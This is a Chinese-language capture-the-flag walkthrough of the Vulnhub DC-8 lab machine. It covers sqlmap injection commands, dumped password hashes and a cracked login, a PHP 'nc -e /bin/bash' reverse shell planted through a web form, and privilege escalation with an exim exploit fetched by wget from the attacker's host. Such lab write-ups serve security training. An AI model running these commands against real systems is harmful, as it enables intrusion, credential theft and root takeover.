Vulnhub | DC-8
信息搜集
通过寻找真实IP和端口扫描
发现开放22和80端口
访问页面,发现是和DC1的cms一样
漏洞发现-SQL注入
点击选项时,发现url后加了“nid=1”
加个',发现数据库报错,存在SQL注入漏洞
上SQLMAP
python2 sqlmap.py -u http://192.168.0.107/?nid=1 --batch --dbs
python2 sqlmap.py -u http://192.168.0.107/?nid=1 --batch -D d7db --tables
看到有一个user表,其他的看起来不是很重要,先放着不管
python2 sqlmap.py -u http://192.168.0.107/?nid=1 --batch -D d7db -T users --dump
这格式很难受,但是SQLMAP扫描完会自动保存一个csv文件在
C:\Users\xxx\AppData\Local\sqlmap\output\192.168.0.107
下
这样就舒服多了
爆出来admin和john的hash加密密码
admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
这里看了别的WP,是需要用到一个叫 ”john“的工具(kali自带)
把两个hash密码分别保存到txt中,然后使用命令john hash.txt
爆admin账户就卡着不动了,最后爆出了john的密码
user : john
pass : turtle
百度找一下该cms的后台登录路径,在/user下
登录成功
反弹Shell
登录了后台就继续找可利用的点
试了试phphinfo,但是路径不知道在哪里,尝试直接反弹shell
<p>flag</p> <?php system("nc -e /bin/bash 192.168.0.109 7777"); ?>
保存后发现没有触发,是因为还需要提交信息
随便填点,然后点击submit
反弹成功
提权
python -c "import pty;pty.spawn('/bin/bash')"
先获取交互式窗口,接着找找有没有可利用的提权方法
sudo -l
其实看到www用户,这条命令就不用试了,没什么用
find / -perm -u=s -type f 2>/dev/null
这里本来没看出什么,后来参考大佬文章可以使用这个”exim“进行提权(自己还是太菜)
打开MSF,searchsploit exim
查看一下当前exim版本,是4.89,根据版本选择一个exp
kali来到cd /usr/share/exploitdb/exploits/linux/local
目录下
开启一个http服务 python -m http.server
然后在靶机中执行
wget http://192.168.0.109:8000/46996.sh
给一个最高权限777,./执行脚本文件
提了个寂寞?
后来发现原来是脚本需要加参数
./46996.sh -m netcat
(但是要注意,提上之后有时效性,过一会就断了)
接着就是拿flag了